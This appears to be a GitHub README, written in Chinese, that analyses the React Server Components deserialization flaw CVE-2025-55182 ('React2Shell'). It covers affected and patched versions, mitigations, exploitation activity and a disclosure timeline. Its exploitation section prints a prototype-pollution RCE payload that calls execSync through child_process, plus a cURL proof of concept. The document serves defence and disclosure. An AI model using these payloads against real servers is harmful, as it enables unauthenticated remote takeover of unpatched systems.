logesh-GIT001/CVE-2025-55182
GitHub: logesh-GIT001/CVE-2025-55182
本项目提供了 React Server Components 严重反序列化漏洞 CVE-2025-55182 的深度技术分析与防御指南。
Stars: 2 | Forks: 0
# CVE-2025-55182 — React2Shell
## 漏洞概览
| 属性 | 详情 |
|---------------------|--------------------------------------------------------------------------------|
| CVE ID | **CVE-2025-55182** (亦称 **React2Shell**) |
| 严重程度 | **严重 — 远程代码执行** |
| CVSS v3.1 | **10.0 (最高)** |
| CVSS v4 | **9.3** |
| CWE | **CWE-502: 不受信任数据的反序列化** |
| 攻击向量 | **网络 (远程, HTTP)** |
| 用户交互 | 无需用户交互 |
| 所需权限 | 无 — 未认证攻击者 |
| 利用状态 | 公开 PoC 可用 — 野外活跃利用 |
| 受影响组件 | **React Server Components — RSC Flight 协议解析器** |
| 别名 CVE | CVE-2025-66478 (Next.js — 因重复被拒绝; 见下文备注) |
| 发现者 | **Lachlan Davidson** (安全研究员) |
| 披露日期 | **2025 年 12 月 3 日** |
## 受影响版本及生态系统
### 受影响的 React 包
```
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
```
### 受影响的 React 版本
```
19.0.0
19.1.0
19.1.1
19.2.0
```
### 受影响的框架与工具
| 框架 / 工具 | 备注 |
|---------------------------|----------------------------------------------------|
| **Next.js 15.x – 16.x** | 仅限 App Router — Pages Router **不受**影响 |
| **React Router RSC** | 仅限不稳定 / 预览通道 |
| **Redwood SDK** | 仅限 RSC 模式 |
| **Waku** | 所有启用 RSC 的版本 |
| **Expo** | RSC 预览构建 |
| **Vite RSC Plugin** | 所有集成 |
| **Parcel RSC Plugin** | 所有集成 |
| **自定义 RSC 集成器**| 任何使用 RSC Flight 反序列化的服务器 |
## 根本原因 — 技术深度解析
### 问题所在
该漏洞源于 React Flight 协议解析器在处理传入 RSC payload 时的**不安全反序列化**。服务器从不验证传入的结构是否合法 — 它隐式信任客户端发送格式良好的数据。
攻击者控制的数据被反序列化,并可能影响服务端执行逻辑,从而导致**在 Node.js 服务器进程内执行任意 JavaScript 代码**。
### 利用原语: 原型污染 → RCE
该利用利用了 Flight 协议反序列化步骤中的**原型污染**:
1. 攻击者发送一个精心构造的 payload,污染 `Object.prototype.then`
2. 这获得了对 `Function` 构造函数的访问权限
3. 攻击者注入恶意代码,服务器将其作为受信任的服务器逻辑执行
```
// Simplified illustration of the vulnerable RSC Flight parsing path
function parseFlightRequest(req) {
const flight = req.body;
// NO structural validation on the incoming Flight payload
const decoded = dangerousDeserialize(flight); // CVE-2025-55182 triggered here
// If attacker controls `decoded.action`, this is RCE
return executeServerReference(decoded.action);
}
```
## 攻击流程
```
Attacker
│
│ 1. Sends crafted HTTP POST Flight request
│ (No authentication. No special headers. No prior access.)
▼
[ Vulnerable RSC Server ]
│
│ 2. Server deserializes malicious payload
│ without structural or type validation
▼
[ React Flight Protocol Handler ]
│
│ 3. Prototype pollution triggered
│ → Object.prototype.then hijacked
│ → Function constructor accessed
▼
[ Arbitrary JavaScript Execution ]
│
│ 4. Attacker code runs as Node.js server process
▼
Attacker Gains Full Control of Server
```
## 利用细节
### 为什么默认应用易受攻击
使用 `create-next-app` 创建并为生产环境构建的标准 Next.js 应用,在开发者**无需更改任何代码**的情况下即可被利用。利用只需要一个精心构造的 HTTP 请求,测试表明其可靠性接近 100%。
### 利用 Payload 结构
```
http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain
{
"status": "resolved_model",
"$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
"_formData.get": "$1:constructor:constructor"
}
```
### 简化的 cURL PoC
```
curl -X POST https://target.com/react?flight=1 \
-H "Content-Type: text/plain" \
--data '["$ACTION_REF","__proto__","constructor",""]'
```
### PoC 现状警示
在披露后的最初几天,大量**无效的利用和 AI 生成的虚假 PoCs** 被广泛传播。Trend Micro 识别了约 145 个野外的概念验证利用,但大多数实际上并未触发底层漏洞。在运行任何 CVE-2025-55182 扫描器之前,请根据社区验证的来源进行核实。运行虚假扫描器可能会产生虚假的安全感 — 或者传播恶意软件。
## 已修复 / 补丁版本
### React RSC 包
| 包 | 已修复版本 |
|------------------------------|------------------------------|
| `react-server-dom-webpack` | **19.0.1, 19.1.2, 19.2.1+** |
| `react-server-dom-parcel` | **19.0.1, 19.1.2, 19.2.1+** |
| `react-server-dom-turbopack` | **19.0.1, 19.1.2, 19.2.1+** |
### Next.js
| 发布线 | 已修复版本 |
|--------------|-----------------|
| 13.x / 14.x | **14.2.35** |
| 15.0.x | **15.0.5** |
| 15.1.x | **15.1.9** |
| 15.2.x | **15.2.6** |
| 15.3.x | **15.3.6** |
| 15.4.x | **15.4.8** |
| 15.5.x | **15.5.7** |
| 16.0.x | **16.0.7** |
## 缓解措施
### 立即采取的行动 (按优先级)
1. **升级 React RSC 包** 至您发布线的修复版本
2. **升级您的框架** (Next.js / Vite / Parcel / Waku / Redwood) 至其修复版本
3. **部署 WAF 规则:**
- **AWS WAF**: 启用 `AWSManagedRulesKnownBadInputsRuleSet` (v1.24+) — 针对 CVE-2025-55182 的规则现已默认包含在内
- **AWS Network Firewall**: 使用 Active Threat Defense 托管规则 (通过 MadPot 威胁情报自动更新)。还建议添加自定义 L7 有状态规则,阻止非标准端口上的直接 IP 连接,因为这种模式在 React2Shell 后利用 payload 中很常见
- **Google Cloud Armor**: 部署 React2Shell 规则集 (控制台中可用)
- **Cloudflare**: WAF 托管规则 `react2shell-cve-2025-55182` (Pro+ 自动应用)
4. 如果无法立即打补丁,**暂时禁用 RSC Flight 端点**
5. **审计服务器日志**,查找在打补丁之前针对 RSC 端点的可疑 POST 请求
6. **轮换密钥** (API 密钥、令牌、数据库凭证),针对任何可能受损的服务器
## 主动利用与威胁参与者活动
### 利用规模 (截至 2026 年 4 月)
自首次披露以来,GreyNoise 已记录了**超过 810 万次攻击会话**,每日攻击量稳定在 **30 万至 40 万之间** (2025 年 12 月下旬峰值超过 43 万)。基础设施足迹已增长至跨越 **101 个国家 1,071 个 ASN 的 8,163 个唯一源 IP**。云基础设施主导了攻击来源,仅 AWS 就占观察到的利用流量的三分之一以上。
Darktrace 观察到,从初始蜜罐部署到感染的时间仅为**两分钟**,其一致的杀伤链涉及 shell 脚本下载和 HTTP 信标。
### 利用时间线
| 日期 | 活动 |
|--------------|-----------------------------------------------------------------------------------|
| 2025 年 12 月 3 日 | 披露后数小时内检测到大规模扫描 |
| 2025 年 12 月 4 日 | 首个可用的公开 PoC (Moritz Sanft) — 确认默认 `create-next-app` 可被利用 |
| 2025 年 12 月 5 日 | 发现者发布 PoC (披露后约 30 小时) |
| 2025 年 12 月 5 日 | Datadog 和 Rapid7 蜜罐观察到主动利用 |
| 2025 年 12 月 5–8 日| 利用尝试显著激增; 出现多个不同的活动 |
| 2025 年 12 月 8 日 | 观察到 362 个唯一 IP 尝试利用; Rapid7 确认使用公开 PoC |
| 2025 年 12 月 12 日 | Google GTIG 识别出多个与中国有关的威胁集群; 也观察到与伊朗有关的活动 |
| 2025 年 12 月 15 日 | Microsoft 确认数百台机器被入侵 |
| 2025 年 12 月 29 日 | AWS 将活动与中国国家相关的威胁参与者联系起来; 添加了 AWS Network Firewall 规则 |
| 2026 年 1 月 6 日 | GreyNoise 发布 React2Shell 攻击者的完整 ASN/JA4 指纹数据集 |
| 2026 年 1 月 26 日 | 披露并修复了额外的 DoS CVE-2026-23864 |
| 2026 年 3 月 4 日 | Dynatrace 更新 React2Shell 公告,提供最新的修复指南 |
### 观察到的后利用 Payload
| Payload | 类型 | 归属 / 活动 |
|-----------------|----------------------|------------------------------------|
| SNOWLIGHT | 下载器 | Earth Lamia (与中国 MSS 有关联) |
| MINOCAT | 隧道工具 | Earth Lamia |
| HISONIC | 后门 | Earth Lamia |
| COMPOOD | 持久化后门 | Earth Lamia |
| XMRig | 加密货币挖矿机 | 多个威胁参与者 |
| Cobalt Strike | C2 信标 (Cross C2) | "emerald" & "nuts" 活动 |
| Nezha | 代理 | "emerald" 活动 |
| Sliver | C2 框架 | "emerald" & "nuts" 活动 |
| Fast Reverse Proxy (FRP) | 隧道工具 | 多个活动 |
| Secret-Hunter | 凭证窃取器 | "nuts" 活动 |
| Mirai 僵尸网络 | DDoS / 持久化 | 机会主义参与者 |
| Rondo 僵尸网络 | 持久化 | 机会主义参与者 |
| MeshAgent (RMM) | 远程监控 | 多个参与者 (持久化) |
### 威胁参与者归属
亚马逊威胁情报将利用基础设施与 **Earth Lamia** (Google GTIG 追踪为 UNC5454) 联系起来,该组织被怀疑与中国国家安全部 (MSS) 有联系。威胁组织 **Jackpot Panda** 也被 AWS 和 Google GTIG 识别出来。此外,还观察到**与伊朗有关的参与者**正在利用 CVE-2025-55182。Windows 和 Linux 环境均受到影响,包括容器化部署。
观察到的后利用 TTPs 包括指向 Cobalt Strike 服务器的反向 shell、创建新的恶意用户、部署 RMM 工具 (MeshAgent)、修改 `authorized_keys` 以及启用 root 登录。
## 检测与工具
### Microsoft Defender for Cloud
库中现在提供了专用的**安全资源管理器模板**:
- *运行易受 React2Shell 漏洞 CVE-2025-55182 攻击的容器镜像的面向 Internet 的容器*
- *易受 React2Shell 漏洞 CVE-2025-55182 攻击的面向 Internet 的虚拟机*
Microsoft Security Exposure Management 的自动化攻击路径分析也会映射云计算资源和 Kubernetes 容器上的 React2Shell 攻击路径。
### GreyNoise
GreyNoise 提供了一个阻止模板 — *React Server Components Unsafe Deserialization CVE-2025-55182 RCE Attempt* — 允许防御者立即阻止恶意 IP。ASN、JA4T 和 JA4H 指纹数据集在以下位置公开可用:
`github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2026-01-06-react2shell`
### Dynatrace
使用 **Dynatrace Runtime Vulnerability Analytics**,通过在应用中筛选 CVE-2025-55182 来检测易受攻击的 React Server Component 包或 Next.js 包。
## 相关 CVE
| CVE | 描述 | 严重程度 | 状态 |
|--------------------|-------------------------------------------------|------------|-------------------------|
| **CVE-2025-55182** | RSC RCE — 不安全反序列化 (本 CVE) | CVSS 10.0 | 已修复 |
| CVE-2025-66478 | Next.js 下游 RCE | CVSS 10.0 | 已拒绝 — 重复 |
| CVE-2025-55183 | 通过 RSC 泄露源代码 | CVSS 5.3 | 在 19.2.2+ 中已修复 |
| CVE-2025-55184 | 通过 RSC 解析器中的无限循环进行 DoS | CVSS 7.5 | 在 19.2.2+ 中已修复 |
|-2025-67779 | DoS — CVE-2025-55184 的补丁不完整 | CVSS 7.5 | 在 19.2.3+ 中已修复 |
| CVE-2026-23864 | 后续 RSC DoS (2026 年 1 月) | CVSS 7.5 | 已修复 |
## 完整披露时间线
```
2025-11-29 Lachlan Davidson reports vulnerability to Meta / React Security Team
2025-12-03 React team publishes patched packages to npm
CVE-2025-55182 publicly disclosed
Vercel deploys Next.js WAF protections (runtime-level, not just WAF)
Cloudflare WAF rules activated
Mass scanning activity begins within hours
2025-12-04 First working public PoC released (Moritz Sanft)
Default create-next-app confirmed exploitable out of the box
2025-12-05 Discoverer PoC released by Lachlan Davidson (~30 hours post-disclosure)
Active exploitation observed in Datadog and Rapid7 honeypots
Darktrace honeypot infected within 2 minutes of deployment
2025-12-05 "emerald" and "nuts" malware campaigns observed deploying Cobalt Strike,
–08 Sliver, Nezha, FRP; Mirai and Rondo botnets also observed
362 unique IPs observed; 152 with active payload data
2025-12-08 Rapid7 honeypots confirm exploitation using public PoC
2025-12-11 Follow-on CVEs disclosed: CVE-2025-55183, CVE-2025-55184
2025-12-12 Google GTIG identifies multiple China-nexus clusters; Iran-nexus activity also flagged
2025-12-15 Microsoft confirms hundreds of compromised machines
Coin miners and backdoors (SNOWLIGHT, HISONIC) observed
Microsoft Defender for Cloud templates for React2Shell published
2025-12-29 AWS links exploitation to China state-nexus threat actors (Earth Lamia, Jackpot Panda)
AWS Network Firewall Active Threat Defense rules updated
2026-01-06 GreyNoise publishes ASN/JA4T/JA4H fingerprint dataset (8.1M+ sessions recorded)
2026-01-26 Additional DoS CVE-2026-23864 disclosed and patched
2026-03-04 Dynatrace advisory updated with latest remediation guidance
```
## 参考资料与延伸阅读
| 来源 | 链接 |
|------------------------------------|----------------------------------------------------------------------------------------------|
| React 官方公告 | https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components |
| React2Shell 发现者网站 | https://react2shell.com/ |
| Next.js CVE-2025-66478 公告 | https://nextjs.org/blog/CVE-2025-66478 |
| Wiz — React2Shell 深度解析 | https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 |
| Microsoft 安全博客 | https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/ |
| Google Threat Intelligence | https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182 |
| AWS 安全公告 AWS-2025-030 | https://aws.amazon.com/security/security-bulletins/AWS-2025-030/ |
| AWS 博客 — 与中国有关的归属 | https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/ |
| Palo Alto Unit 42 | https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/ |
| Trend Micro 研究 | https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html |
| GreyNoise 观察网格 | https://www.greynoise.io/blog/cve-2025-55182-react2shell-opportunistic-exploitation-in-the-wild-what-the-greynoise-observation-grid-is-seeing-so-far |
| Darktrace — 感染时间 | https://www.darktrace.com/blog/react2shell-how-opportunist-attackers-exploited-cve-2025-55182-within-hours |
| Dynatrace 公告 (2026 年 3 月) | https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/ |
| NVD 条目 | https://nvd.nist.gov/vuln/detail/CVE-2025-55182 |
## 作者与致谢
**研究与文档汇编:**
**Logeshwaran** — 漏洞猎人 / 安全研究员
GitHub: [@logesh-GIT001](https://github.com/logesh-GIT001)
*最后更新: 2026 年 4 月 6 日*
*本文档仅用于教育和防御安全目的。*
标签:0day, Burp Suite 替代, CISA项目, CVE, CVE-2025-55182, CWE-502, DNS通配符暴力破解, Exploit, Go语言工具, MITM代理, PoC, RCE, React, React2Shell, React Server Components, RSC, SSR, Syscalls, Web安全, 前端安全, 反序列化, 安全漏洞, 数字签名, 数据可视化, 暴力破解, 服务器端渲染, 漏洞分析, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 隐私保护, 高危漏洞